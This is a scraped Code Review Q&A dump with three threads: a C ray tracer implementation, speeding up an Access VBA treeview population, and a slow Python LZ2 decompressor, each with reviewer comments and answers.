internal void hittable_list_reserve(void *self, size_t size)
{
hittable_list *this = self;
this->objects.capacity = size;
this->objects.data = realloc(this->objects.data, size * sizeof(hittable*));
}
internal void hittable_list_add(void *self, void *object)
{
hittable_list *this = self;
/* if we have not already allocate memory */
if(NULL == this->objects.data)
{
this->objects.data = malloc(sizeof(hittable*));
this->objects.data[0] = object;
this->objects.size = 1;
this->objects.capacity = 1;
}
else
{
if(++this->objects.size > this->objects.capacity)
{
this->objects.capacity = this->objects.size * 2;
this->objects.data = realloc(this->objects.data, sizeof(hittable*) * this->objects.capacity);
}
this->objects.data[this->objects.size - 1] = object;
}
}
internal bool hittable_list_hit(hittable_list const *this, ray const *r, float t_min, float t_max, hit_record *rec)
{
hit_record temp_rec;
bool hit_anything = false;
float closest_so_far = t_max;
for(size_t i = 0; i < this->objects.size; ++i)
{
if(this->objects.data[i]->vtable->hit(this->objects.data[i], r, t_min, closest_so_far, &temp_rec))
{
hit_anything = true;
closest_so_far = temp_rec.t;
*rec = temp_rec;
}
}
return hit_anything;
}
bool hittable_list_bounding_box(hittable_list const *this, float t0, float t1, aabb *output_box)
{
if(this->objects.size == 0) return false;
aabb temp_box;
bool first_box = true;
for(size_t i = 0; i < this->objects.size; ++i)
{
if(!this->objects.data[i]->vtable->bounding_box(this->objects.data[i], t0, t1, &temp_box)) return false;
*output_box = first_box ? temp_box : surrounding_box(*output_box, temp_box);
first_box = false;
}
return false;
}
__attribute__((overloadable)) internal hittable_list make_hittable_list(void)
{
static struct hittable_vtable hittable_list_vtable = {
.hit = (void*)&hittable_list_hit,
.bounding_box = (void*)&hittable_list_bounding_box
};
return (hittable_list){ .parent.vtable = &hittable_list_vtable };
}
__attribute__((overloadable)) internal hittable_list make_hittable_list(void *object)
{
hittable_list result = make_hittable_list();
hittable_list_add(&result, object);
return result;
}
</code></pre>
<p><code>sphere.h</code></p>
<pre><code>#pragma once
typedef struct sphere
{
hittable parent;
float3 center;
float radius;
material *mat_ptr;
} sphere;
internal void get_sphere_uv(float3 p, float2 *uv)
{
float phi = atan2f(p.z, p.z);
float theta = asinf(p.y);
(*uv)[0] = 1 - (phi + PI) / (2 * PI);
(*uv)[1] = (theta + PI / 2) / PI;
}
internal bool sphere_hit(sphere const *this, ray const *r, float t_min, float t_max, hit_record *rec)
{
float3 oc = r->pos - this->center;
float a = length_sqr(r->dir);
float half_b = dot(oc, r->dir);
float c = length_sqr(oc) - this->radius * this->radius;
float discriminant = half_b * half_b - a * c;
if(discriminant > 0.0f)
{
float root = sqrtf(discriminant);
float temp = (-half_b - root) / a;
if(temp < t_max && temp > t_min)
{
rec->t = temp;
rec->p = ray_at(r, rec->t);
float3 outward_normal = (rec->p - this->center) / this->radius;
hit_record_set_face_normal(rec, r, outward_normal);
get_sphere_uv((rec->p - this->center) / this->radius, &rec->uv);
rec->mat_ptr = this->mat_ptr;
return true;
}
temp = (-half_b + root) / a;
if(temp < t_max && temp > t_min)
{
rec->t = temp;
rec->p = ray_at(r, rec->t);
float3 outward_normal = (rec->p - this->center) / this->radius;
hit_record_set_face_normal(rec, r, outward_normal);
get_sphere_uv((rec->p - this->center) / this->radius, &rec->uv);
rec->mat_ptr = this->mat_ptr;
return true;
}
}
return false;
}
internal bool sphere_bounding_box(sphere const *this, float t0, float t1, aabb *output_box)
{
*output_box = (aabb){this->center - this->radius, this->center + this->radius};
return true;
}
sphere make_sphere(float3 center, float radius, material *m)
{
/* setup vtable */
static struct hittable_vtable sphere_vtable = {
.hit = (void*)&sphere_hit,
.bounding_box = (void*)&sphere_bounding_box
};
return (sphere) {
.center = center,
.radius = radius,
.mat_ptr = m,
.parent.vtable = &sphere_vtable
};
}
</code></pre>
<p><code>aarect.h</code></p>
<pre><code>#pragma once
typedef struct xy_rect
{
hittable parent;
material *mat_ptr;
float x0, x1, y0, y1, k;
} xy_rect;
internal bool xy_rect_bounding_box(xy_rect const *this, float t0, float t1, aabb *output_box)
{
*output_box = (aabb){(float3){this->x0, this->y0, this->k - 0.0001f}, (float3){this->x1, this->y1, this->k - 0.0001f}};
return true;
}
internal bool xy_rect_hit(xy_rect const *this, ray const *r, float t0, float t1, hit_record *rec)
{
float t = (this->k - r->pos.z) / r->dir.z;
if(t < t0 || t > t1)
return false;
float x = r->pos.x + t * r->dir.x;
float y = r->pos.y + t * r->dir.y;
if(x < this->x0 || x > this->x1 || y < this->y0 || y > this->y1)
return false;
rec->uv = (float2){(x - this->x0) / (this->x1 - this->x0),
(y - this->y0) / (this->y1 - this->y0)};
rec->t = t;
float3 outward_normal = {0, 0, 1};
hit_record_set_face_normal(rec, r, outward_normal);
rec->mat_ptr = this->mat_ptr;
rec->p = ray_at(r, t);
return true;
}
internal hittable *new_xy_rect(float x0, float x1, float y0, float y1, float k, material *mat)
{
xy_rect *result = malloc(sizeof(xy_rect));
result->x0 = x0;
result->x1 = x1;
result->y0 = y0;
result->y1 = y1;
result->k = k;
result->mat_ptr = mat;
/* setup vtable */
static struct hittable_vtable xy_rect_vtable = {
.hit = (void*)&xy_rect_hit,
.bounding_box = (void*)&xy_rect_bounding_box
};
result->parent.vtable = &xy_rect_vtable;
return (void*)result;
}
typedef struct xz_rect
{
hittable parent;
material *mat_ptr;
float x0, x1, z0, z1, k;
} xz_rect;
internal bool xz_rect_bounding_box(xz_rect const *this, float t0, float t1, aabb *output_box)
{
*output_box = (aabb){(float3){this->x0, this->k - 0.0001f, this->z0}, (float3){this->x1, this->k - 0.0001f, this->z1}};
return true;
}
internal bool xz_rect_hit(xz_rect const *this, ray const *r, float t0, float t1, hit_record *rec)
{
float t = (this->k - r->pos.y) / r->dir.y;
if(t < t0 || t > t1)
return false;
float x = r->pos.x + t * r->dir.x;
float z = r->pos.z + t * r->dir.z;
if(x < this->x0 || x > this->x1 || z < this->z0 || z > this->z1)
return false;
rec->uv = (float2){(x - this->x0) / (this->x1 - this->x0),
(z - this->z0) / (this->z1 - this->z0)};
rec->t = t;
float3 outward_normal = {0, 1, 0};
hit_record_set_face_normal(rec, r, outward_normal);
rec->mat_ptr = this->mat_ptr;
rec->p = ray_at(r, t);
return true;
}
internal hittable *new_xz_rect(float x0, float x1, float z0, float z1, float k, material *mat)
{
xz_rect *result = malloc(sizeof(xy_rect));
result->x0 = x0;
result->x1 = x1;
result->z0 = z0;
result->z1 = z1;
result->k = k;
result->mat_ptr = mat;
/* setup vtable */
static struct hittable_vtable xz_rect_vtable = {
.hit = (void *) &xz_rect_hit,
.bounding_box = (void *) &xz_rect_bounding_box
};
result->parent.vtable = &xz_rect_vtable;
return (void*)result;
}
typedef struct yz_rect
{
hittable parent;
material *mat_ptr;
float y0, y1, z0, z1, k;
} yz_rect;
internal bool yz_rect_bounding_box(yz_rect const *this, float t0, float t1, aabb *output_box)
{
*output_box = (aabb){(float3){this->k - 0.0001f, this->y0, this->z0}, (float3){this->k - 0.0001f, this->y1, this->z1}};
return true;
}
internal bool yz_rect_hit(yz_rect const *this, ray const *r, float t0, float t1, hit_record *rec)
{
float t = (this->k - r->pos.x) / r->dir.x;
if(t < t0 || t > t1)
return false;
float y = r->pos.y + t * r->dir.y;
float z = r->pos.z + t * r->dir.z;
if(y < this->y0 || y > this->y1 || z < this->z0 || z > this->z1)
return false;
rec->uv = (float2){(y - this->y0) / (this->y1 - this->y0),
(z - this->z0) / (this->z1 - this->z0)};
rec->t = t;
float3 outward_normal = {1, 0, 0};
hit_record_set_face_normal(rec, r, outward_normal);
rec->mat_ptr = this->mat_ptr;
rec->p = ray_at(r, t);
return true;
}
internal hittable *new_yz_rect(float y0, float y1, float z0, float z1, float k, material *mat)
{
yz_rect *result = malloc(sizeof(yz_rect));
result->y0 = y0;
result->y1 = y1;
result->z0 = z0;
result->z1 = z1;
result->k = k;
result->mat_ptr = mat;
/* setup vtable */
static struct hittable_vtable yz_rect_vtable = {
.hit = (void*)&yz_rect_hit,
.bounding_box = (void*)&yz_rect_bounding_box,
};
result->parent.vtable = &yz_rect_vtable;
return (void*)result;
}
</code></pre>
<p><code>box.h</code></p>
<pre><code>#pragma once
typedef struct box
{
hittable parent;
float3 box_min;
float3 box_max;
hittable_list sides;
} box;
internal bool box_hit(box const *this, ray const *r, float t0, float t1, hit_record *rec)
{
return hittable_list_hit(&this->sides, r, t0, t1, rec);
}
internal bool box_bounding_box(box const *this, float t0, float t1, aabb *output_box)
{
*output_box = (aabb){this->box_min, this->box_max};
return true;
}
internal box make_box(float3 p0, float3 p1, material *mat)
{
box result = {
.box_min = p0,
.box_max = p1,
.sides = make_hittable_list()
};
/* add sides to the result box */
hittable_list_add(&result.sides, new_xy_rect(p0.x, p1.x, p0.y, p1.y, p1.z, mat));
hittable_list_add(&result.sides, new_xy_rect(p0.x, p1.x, p0.y, p1.y, p0.z, mat));
hittable_list_add(&result.sides, new_xz_rect(p0.x, p1.x, p0.z, p1.z, p1.y, mat));
hittable_list_add(&result.sides, new_xz_rect(p0.x, p1.x, p0.z, p1.z, p0.y, mat));
hittable_list_add(&result.sides, new_yz_rect(p0.y, p1.y, p0.z, p1.z, p1.x, mat));
hittable_list_add(&result.sides, new_yz_rect(p0.y, p1.y, p0.z, p1.z, p0.x, mat));
/* setup vtable */
static struct hittable_vtable box_vtable = {
.hit = (void*)box_hit,
.bounding_box = (void*)box_bounding_box
};
result.parent.vtable = &box_vtable;
return result;
}
</code></pre>
<p><code>constant_medium.h</code></p>
<pre><code>#pragma once
typedef struct constant_medium
{
hittable parent;
hittable *boundary;
material *phase_function;
float neg_inv_density;
} constant_medium;
internal bool constant_medium_bounding_box(constant_medium const *this, float t0, float t1, aabb *output_box)
{
return this->boundary->vtable->bounding_box(this->boundary, t0, t1, output_box);
}
internal bool constant_medium_hit(constant_medium const *this, ray const *r, float t_min, float t_max, hit_record *rec)
{
hit_record rec1, rec2;
if(!this->boundary->vtable->hit(this->boundary, r, -INFINITY, INFINITY, &rec1))
return false;
if(!this->boundary->vtable->hit(this->boundary, r, rec1.t + 0.0001f, INFINITY, &rec2))
return false;
if(rec1.t < t_min) rec1.t = t_min;
if(rec2.t > t_max) rec2.t = t_max;
if(rec1.t >= rec2.t)
return false;
if(rec1.t < 0)
rec1.t = 0;
float ray_length = length(r->dir);
float distance_inside_boundary = (rec2.t - rec1.t) * ray_length;
float hit_distance = this->neg_inv_density * logf(randomf());
if(hit_distance > distance_inside_boundary)
return false;
rec->t = rec1.t + hit_distance / ray_length;
rec->p = ray_at(r, rec->t);
rec->normal = (float3){1, 0, 0};
rec->front_face = false;
rec->mat_ptr = this->phase_function;
return true;
}
__attribute__((overloadable)) internal constant_medium make_constant_medium(hittable *bounds, float density, texture *a)
{
constant_medium result = {
.boundary = bounds,
.neg_inv_density = -1 / density,
.phase_function = new_isotropic(a)
};
/* setup vtable */
static struct hittable_vtable constant_medium_vtable = {
.hit = (void*)&constant_medium_hit,
.bounding_box = (void*)&constant_medium_bounding_box
};
result.parent.vtable = &constant_medium_vtable;
return result;
}
__attribute__((overloadable)) internal constant_medium make_constant_medium(hittable *bounds, float density, float3 color)
{
return make_constant_medium(bounds, density, new_solid_color(color));
}
</code></pre>
<p><code>bvh.h</code></p>
<pre><code>#pragma once
typedef struct bvh_node
{
hittable parent;
hittable *left;
hittable *right;
aabb box;
} bvh_node;
bool bvh_node_bounding_box(bvh_node const *this, float t0, float t1, aabb *output_box)
{
*output_box = this->box;
return true;
}
internal bool bvh_node_hit(bvh_node const *this, ray const *r, float t_min, float t_max, hit_record *rec)
{
if(!aabb_hit(&this->box, r, t_min, t_max))
return false;
bool hit_left = this->left->vtable->hit(this->left, r, t_min, t_max, rec);
bool hit_right = this->right->vtable->hit(this->right, r, t_min, hit_left ? rec->t : t_max, rec);
return hit_left || hit_right;
}
internal inline int box_compare(hittable ** a, hittable ** b, i32 axis)
{
aabb box_a;
aabb box_b;
if(!(*a)->vtable->bounding_box(*a, 0, 0, &box_a)
|| !(*b)->vtable->bounding_box(*b, 0, 0, &box_b))
{
fprintf(stderr, "No bounding box in bvh_node constructor.\n");
}
return box_a.min[axis] == box_b.min[axis] ? 0 : box_a.min[axis] < box_b.min[axis] ? 1 : -1;
}
internal int box_x_compare(hittable ** a, hittable ** b)
{
return box_compare(a, b, 0);
}
internal int box_y_compare(hittable ** a, hittable ** b)
{
return box_compare(a, b, 1);
}
internal int box_z_compare(hittable ** a, hittable ** b)
{
return box_compare(a, b, 2);
}
__attribute__((overloadable)) internal hittable *new_bvh_node(hittable **objects, size_t start, size_t end, float time0, float time1)
{
/* allocate memory for the result */
bvh_node *result = calloc(sizeof(bvh_node), 1);
i32 axis = (i32)randomf(0,3);
/* stupid qsort */ int(*comparator)(hittable **, hittable **) = axis == 0 ? box_x_compare
: axis == 1 ? box_y_compare
: box_z_compare;
size_t object_span = end - start;
if(object_span == 1)
{
result->left = result->right = objects[start];
}
else if(object_span == 2)
{
if(comparator(&objects[start], &objects[start + 1]) == 1)
{
result->left = objects[start];
result->right = objects[start + 1];
}
else
{
result->left = objects[start + 1];
result->right = objects[start];
}
}
else
{
qsort(objects + start, object_span, sizeof(hittable*), (void*)comparator);
size_t mid = start + object_span / 2;
result->left = new_bvh_node(objects, start, mid, time0, time1);
result->right = new_bvh_node(objects, mid, end, time0, time1);
}
aabb box_left = {0}, box_right = {0};
if(!result->left->vtable->bounding_box(result->left, time0, time1, &box_left)
|| !result->right->vtable->bounding_box(result->right, time0, time1, &box_right))
{
fprintf(stderr, "No bounding box in bvh_node constructor.\n");
}
result->box = surrounding_box(box_left, box_right);
static struct hittable_vtable bvh_node_vtable = {
.hit = (void*)&bvh_node_hit,
.bounding_box = (void*)&bvh_node_bounding_box
};
result->parent.vtable = &bvh_node_vtable;
return (void*)result;
}
__attribute__((overloadable)) internal hittable *new_bvh_node(hittable *list_in, float time0, float time1)
{
hittable_list *list = (void*)list_in;
return new_bvh_node(list->objects.data, 0, list->objects.size, time0, time1);
}
</code></pre>
<p><code>random.cc</code></p>
<pre><code>#include <random>
#include <ctime>
/* NOTE: this is in c++ because rand is not very good */
extern "C" float random_float()
{
static thread_local std::mt19937 engine {};
std::uniform_real_distribution<float> dist{0.0f, 1.0f};
return dist(engine);
}
</code></pre>
<p><code>moving_sphere.h</code></p>
<pre><code>#pragma once
typedef struct moving_sphere
{
hittable parent;
float3 center0, center1;
float time0, time1;
float radius;
material *mat_ptr;
} moving_sphere;
internal float3 moving_sphere_center(moving_sphere const *this, float time)
{
return this->center0 + ((time - this->time0) / (this->time1 - this->time0)) * (this->center1 - this->center0);
}
internal bool moving_sphere_hit(moving_sphere const *this, ray const *r, float t_min, float t_max, hit_record *rec)
{
float3 oc = r->pos - moving_sphere_center(this, r->time);
float a = length_sqr(r->dir);
float half_b = dot(oc, r->dir);
float c = length_sqr(oc) - this->radius * this->radius;
float discriminant = half_b * half_b - a * c;
if(discriminant > 0.0f)
{
float root = sqrtf(discriminant);
float temp = (-half_b - root) / a;
if(temp < t_max && temp > t_min)
{
rec->t = temp;
rec->p = ray_at(r, rec->t);
float3 outward_normal = (rec->p - moving_sphere_center(this, r->time)) / this->radius;
hit_record_set_face_normal(rec, r, outward_normal);
rec->mat_ptr = this->mat_ptr;
return true;
}
temp = (-half_b + root) / a;
if(temp < t_max && temp > t_min)
{
rec->t = temp;
rec->p = ray_at(r, rec->t);
float3 outward_normal = (rec->p - moving_sphere_center(this, r->time)) / this->radius;
hit_record_set_face_normal(rec, r, outward_normal);
rec->mat_ptr = this->mat_ptr;
return true;
}
}
return false;
}
bool moving_sphere_bounding_box(moving_sphere const *this, float t0, float t1, aabb *output_box)
{
aabb box0 = {moving_sphere_center(this, t0) - this->radius, moving_sphere_center(this, t0) + this->radius};
aabb box1 = {moving_sphere_center(this, t1) - this->radius, moving_sphere_center(this, t1) + this->radius};
*output_box = surrounding_box(box0, box1);
return true;
}
hittable *new_moving_sphere(float3 center0, float3 center1, float t0, float t1, float radius, void *m)
{
moving_sphere *result = malloc(sizeof(moving_sphere));
/* assign the function paremeters to their respective struct members */
result->center0 = center0;
result->center1 = center1;
result->time0 = t0;
result->time1 = t1;
result->radius = radius;
result->mat_ptr = m;
/* setup vtable */
static struct hittable_vtable moving_sphere_vtable = {
.hit = (void*)&moving_sphere_hit,
.bounding_box = (void*)&moving_sphere_bounding_box
};
result->parent.vtable = &moving_sphere_vtable;
return (void*)result;
}
</code></pre>
<p>here is what the program generates:
<a href="https://i.stack.imgur.com/lf0dN.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lf0dN.jpg" alt="enter image description here" /></a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T01:14:51.233",
"Id": "489503",
"Score": "1",
"body": "The file `moving_sphere.h` is missing. To be honest, this doesn't look completely like C. More like a cross between the 2, my C compiler really doesn't like some of this."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T01:33:08.597",
"Id": "489504",
"Score": "0",
"body": "this is c it just uses a lot of clang and gcc extensions https://gcc.gnu.org/onlinedocs/gcc/C-Extensions.html#C-Extensions\nhttps://clang.llvm.org/docs/LanguageExtensions.html#vectors-and-extended-vectors"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-08T13:03:44.427",
"Id": "491233",
"Score": "0",
"body": "You mention that you are using gcc. I also use gcc, where my installation includes its own `types.h`, but here you are including an alternate `types.h`, where there are some interesting, but otherwise confusing definitions. eg.: `#define internal static`. Why not just use `static`? And I am not sure what you are gaining by not just using the default `types.h`?"
}
] |
[
{
"body": "<h1>Choice of programming language</h1>\n<p>It's nice to learn and experience multiple programming languages. It can even be a nice challenge to try to program something in a simpler language like C. However, what you are doing is mixing C and C++ in one program, and even the C code is not standard C, it's using GNU extensions. Mixing things like that is something I would not recommend for serious projects. Some of the GNU extensions you use are just enabling features in C in a non-portable way, that you could get in C++ in a standard, portable way, like function overloading. So either I suggest you go all-in on your challenge to code in C, and do it in portable, idiomatic C11, or just write everything in C++.</p>\n<h1>Avoid <code>typedef</code>'ing standard types</h1>\n<p>I would recommend against making <code>typedef</code>s for standard types like <code>uint8_t</code>. Yes, it might save typing a few characters here and there, but now you have to worry about including the header file that defines them. And while it make be fine if you wrote all the code yourself, imagine that you are writing a library. You don't want to declare types in the global namespace, as this might conflict with <code>typedef</code>s from the main application or other libraries.</p>\n<p>Another problem is that some of the <code>typedef</code>s might be outright lies on some platforms: neither C nor C++ guarantee that a <code>float</code> is 32 bits and a <code>double</code> is 64 bits.</p>\n<p>Related to this, why did you <code>#define internal static</code>? Why not use <code>static</code> directly in the code?</p>\n<h1>Consider using a vector math library</h1>\n<p>Trying to implement things from scratch is a nice way to learn about how computers work. However, I recommend you don't try to write everything from scratch, only focus on one subject, and use (standard) libraries for the rest where possible. You are already using SDL and the C standard library. I also recommend you look for a vector mathematics library to use. This frees you from implementing a lot of the tedious maths programming, and allows you to focus more on the ray tracing algorithm itself. If you were writing in C++, I strongly recommend you have a look at <a href=\"https://github.com/g-truc/glm\" rel=\"nofollow noreferrer\">GLM</a>. For C a possible choice is the <a href=\"https://www.gnu.org/software/gsl/\" rel=\"nofollow noreferrer\">GNU Scientific Library</a>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-03-07T16:37:11.967",
"Id": "256845",
"ParentId": "249651",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "256845",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T20:39:15.173",
"Id": "249651",
"Score": "6",
"Tags": [
"c++",
"c",
"graphics",
"raytracing"
],
"Title": "ray-tracing in one weekend implementation"
}
|
249651
|
<p>I have the following function that causes a significant visual jittering and lag in my access database - This is a treeview selection based on data in a table (tblDATA) with the fields:</p>
<p><strong>Object | Attribute | Property | Value</strong></p>
<p>I have tried <code>echo</code> and <code>me.painting</code> but figured my actual for loops need to be looked at for optimisation - wondering if there is a better way to cycle through a <code>Recordset</code> and populate a Treeview ?</p>
<pre class="lang-vb prettyprint-override"><code>' [1] Update the treeview
'------------------------------------
Private Sub btnUpdateFilter_Click()
'Me.Painting = False
'Echo False
'DoCmd.Hourglass True
Dim sArea As String, N As Integer
Dim oData_distinct As DAO.Recordset
Dim oData As DAO.Recordset
Dim oNone As DAO.Recordset
Dim rs As DAO.Recordset
Dim element As Variant
Dim Arr_distinct() As Variant
If IsNull(cbxAttributeFilter01) Or IsNull(cbxPropertyFilter01) Then Exit Sub
Set oData_distinct = CurrentDb.OpenRecordset("SELECT DISTINCT [Value] FROM tblData WHERE Attribute = " & cbxAttributeFilter01 _
& " AND Property = " & cbxPropertyFilter01, dbOpenSnapshot)
Set oNone = CurrentDb.OpenRecordset("SELECT [Tagname] FROM tblData WHERE NOT Attribute = " & cbxAttributeFilter01 _
& " AND NOT Property = " & cbxPropertyFilter01, dbOpenSnapshot)
Set oData = CurrentDb.OpenRecordset("SELECT [Tagname], [Value] FROM tblData WHERE [Attribute] = " & cbxAttributeFilter01 _
& " AND [Property] = " & cbxPropertyFilter01, dbOpenSnapshot)
If oData.RecordCount = 0 Then TreeView.Nodes.Clear: Exit Sub
Arr_distinct = oData_distinct.GetRows(oData_distinct.RecordCount)
TreeView.Nodes.Clear
' Standard
TreeView.Nodes.Add , , "MISC", "MISC"
For Each element In Arr_distinct
If Not element = "" Then
If IsNumeric(element) Then element = "_" & element
TreeView.Nodes.Add , , element, element ' ADD Parent
End If
Next element
Dim sTemp As String
With oData
.MoveFirst
Do While Not .EOF
sTemp = !Value
If IsNumeric(sTemp) Then sTemp = "_" & sTemp
If sTemp = "" Or sTemp = " " Then sTemp = "MISC"
On Error Resume Next
TreeView.Nodes.Add sTemp, tvwChild, DLookup("Tagname", "MASTER", "ID = " & !Tagname), DLookup("Tagname", "MASTER", "ID = " & !Tagname)
.MoveNext
Loop
End With
With oNone
.MoveFirst
Do While Not .EOF
On Error Resume Next
TreeView.Nodes.Add "MISC", tvwChild, DLookup("Tagname", "MASTER", "ID = " & !Tagname), DLookup("Tagname", "MASTER", "ID = " & !Tagname)
.MoveNext
Loop
End With
'DoCmd.Hourglass False
'Echo True
'Me.Painting = True
End Sub
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p>Avoid the multiple <code>DLookUp</code>s with each<code>TreeView.Nodes.Add</code> call for <em>every</em> row of recordset! At the very least store your <code>DLookUp</code> value once and apply it to treeview. This cuts down the repetitive 4 calculations down to 2 for every row.</p>\n<p>But since <code>DLookUp</code> essentially is a query anyway, simply integrate a <code>JOIN</code> to <code>Master</code> object in SQL queries of <code>OpenRecordset</code> calls. This cuts down the repetitive 4 calculations to 0 for every row.</p>\n<pre class=\"lang-vb prettyprint-override\"><code>sql = "SELECT d.[Tagname], m.[Tagname] AS [MasterTagname] " _\n & "FROM tblData d " _\n & "LEFT JOIN Master m " _\n & " ON m.ID = d.[Tagname] " _\n & "WHERE NOT d.[Attribute] = " & cbxAttributeFilter01 _\n & " AND NOT d.[Property] = " & cbxPropertyFilter01\n\nSet oNone = CurrentDb.OpenRecordset(sql, dbOpenSnapshot)\n\nsql = "SELECT d.[Tagname], m.[Tagname] AS [MasterTagname] " _\n & "FROM tblData d " _\n & "LEFT JOIN Master m " _\n & " ON m.ID = d.[Tagname] " _\n & "WHERE d.[Attribute] = " & cbxAttributeFilter01 _\n & " AND d.[Property] = " & cbxPropertyFilter01\n\nSet oData = CurrentDb.OpenRecordset(sql, dbOpenSnapshot) \n\n...\n\nTreeView.Nodes.Add sTemp, tvwChild, !MasterTagname, !MasterTagname\n\n...\n\nTreeView.Nodes.Add "MISC", tvwChild, !MasterTagname, !MasterTagname\n</code></pre>\n<p>Also, best practice in VBA is to never use <code>On Error Resume Next</code> but to handle any error that raises which in this case may be a missing or <code>Null</code> <code>DLookUp</code> result. Therefore, enclose <code>If</code> logic.</p>\n<pre class=\"lang-vb prettyprint-override\"><code>...\n\nIf Not IsNull(!MasterTagName)\n TreeView.Nodes.Add sTemp, tvwChild, !MasterTagname, !MasterTagname\nEnd If\n\n...\n\nIf Not IsNull(!MasterTagName)\n TreeView.Nodes.Add "MISC", tvwChild, !MasterTagname, !MasterTagname\nEnd If\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-09T01:27:37.960",
"Id": "254477",
"ParentId": "249654",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "254477",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T00:01:55.943",
"Id": "249654",
"Score": "2",
"Tags": [
"sql",
"vba",
"ms-access"
],
"Title": "How to speed up a treeview population in Access?"
}
|
249654
|
<p>I've rewritten a piece of Javascript in Python 3.7 that decompresses a file compressed in a specific format. The project that I got this from is available <a href="https://github.com/adam-nielsen/lz2treefile" rel="nofollow noreferrer">here</a>.</p>
<p>The code I've come up with is as close an analog as I could interpret (I'm not the best at Javascript).</p>
<pre><code>def decompress_lz2(data):
global loop_count
lb_len = 0
lb_dist = 0
escape = 0x16
off_input = 0
output = b''
while off_input < len(data):
loop_count += 1
if lb_len:
off_output = len(output) - lb_dist
repeat = max(0, off_output + lb_len - len(output))
chunk = output[off_output:off_output + lb_len - repeat]
output += chunk
if repeat:
repeat_chunk = bytes([chunk[-1]]) * repeat
output += repeat_chunk
lb_len = 0
if escape:
chunk = data[off_input:off_input + escape]
output += chunk
off_input += escape
escape = 0
flag = data[min(off_input, len(data) - 1)]
off_input += 1
lb_len = flag >> 5
if lb_len:
if lb_len == 7:
while True:
next_ = data[off_input]
off_input += 1
lb_len += next_
if next_ != 0xff:
break
lb_len += 2
lb_dist = (flag & 0x1F) << 8
lb_dist += (1 + data[off_input])
off_input += 1
if lb_dist == 0x2000:
lb_dist += (data[off_input] << 8)
off_input += 1
lb_dist += data[off_input]
off_input += 1
else:
escape = flag + 1
return output
</code></pre>
<p>where <code>data</code> is a byte string read in from a file opened in binary mode. My code and the original code both produce the same output, but where the original code takes only a few seconds to execute, mine takes ~10 minutes on the same file. Testing with multiple files yields similar benchmarks. My specific efficiency question is: What can I do to increase the speed of execution of this script on the same system while maintaining output accuracy?</p>
<p>I'm open to the idea of multithreading/multiprocessing though I don't think it's possible due to the nature of this compression type.</p>
<p>Example <a href="https://pastebin.com/F3m14zmv" rel="nofollow noreferrer">file</a>, though it's very small and runs quickly on both implementations. It must be fed to <code>decompress_lz2</code> as <code>bytes</code>.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T10:24:28.960",
"Id": "489531",
"Score": "0",
"body": "Try using a line profiler to find where exactly is the problem.\n[`pip install line-profiler`](https://pypi.org/project/line-profiler/). \n\nAdd `@profile` decorator to the desired function(in your case it is `decompress_lz2`).\nIn terminal: `kernprof -lv -o /tmp/out.lprof filename.py`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T10:27:59.543",
"Id": "489532",
"Score": "1",
"body": "Maybe, also share some example data so that people can test it on their system"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:54:04.573",
"Id": "489574",
"Score": "0",
"body": "The files produced and consumed by this decompression are proprietary. Let me see if I can share an example file."
}
] |
[
{
"body": "<p>I can't test it at the moment, but I suspect that the culprit is</p>\n<pre><code>output += chunk\n</code></pre>\n<p>in a couple of places. This line potentially has O(n^2) complexity because of copying <code>output</code> to a new place in memory that has room to append <code>chunk</code> to it. It would be more efficient to append <code>chunk</code> to a list and then use <code>b''.join()</code> at the end to concatenate all the chunks.</p>\n<pre><code>def decompress_lz2(data):\n global loop_count\n lb_len = 0\n lb_dist = 0\n escape = 0x16\n\n off_input = 0\n\n output = [] # <-- make output a list\n\n while off_input < len(data):\n loop_count += 1\n if lb_len:\n off_output = len(output) - lb_dist\n\n repeat = max(0, off_output + lb_len - len(output))\n\n chunk = output[off_output:off_output + lb_len - repeat]\n output.append(chunk) # <-- changed '+=' to '.append()'\n\n if repeat:\n repeat_chunk = bytes([chunk[-1]]) * repeat\n\n output.append(repeat_chunk) # <-- changed '+=' to '.append()'\n\n lb_len = 0\n\n if escape:\n chunk = data[off_input:off_input + escape]\n output.append(chunk) # <-- changed '+=' to '.append()'\n off_input += escape\n escape = 0\n\n flag = data[min(off_input, len(data) - 1)]\n off_input += 1\n\n lb_len = flag >> 5\n\n if lb_len:\n if lb_len == 7:\n while True:\n next_ = data[off_input]\n off_input += 1\n lb_len += next_\n if next_ != 0xff:\n break\n\n lb_len += 2\n\n lb_dist = (flag & 0x1F) << 8\n lb_dist += (1 + data[off_input])\n off_input += 1\n\n if lb_dist == 0x2000:\n lb_dist += (data[off_input] << 8)\n off_input += 1\n lb_dist += data[off_input]\n off_input += 1\n\n else:\n escape = flag + 1\n\n return b''.join(output) # <-- concatenate the chunks\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T20:20:31.557",
"Id": "489750",
"Score": "0",
"body": "Ha! I made this change and was about to update this when I saw your answer. I did essentially what you did because I realized that list slicing and then using `+=` on two lists was the inefficiency due to memory copying and the potential for huge reallocations. My new solution gets rid of all the slicing as well as the assignment of new lists so that excessive copying and garbage collection need not happen by iterating through the existing data and output lists to make this possible. I'm marking your answer as the answer because it does essentially the same thing."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T21:45:38.117",
"Id": "489757",
"Score": "0",
"body": "@Stephen How much faster is this? From ~10 minutes down to how long?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T21:57:03.190",
"Id": "489759",
"Score": "0",
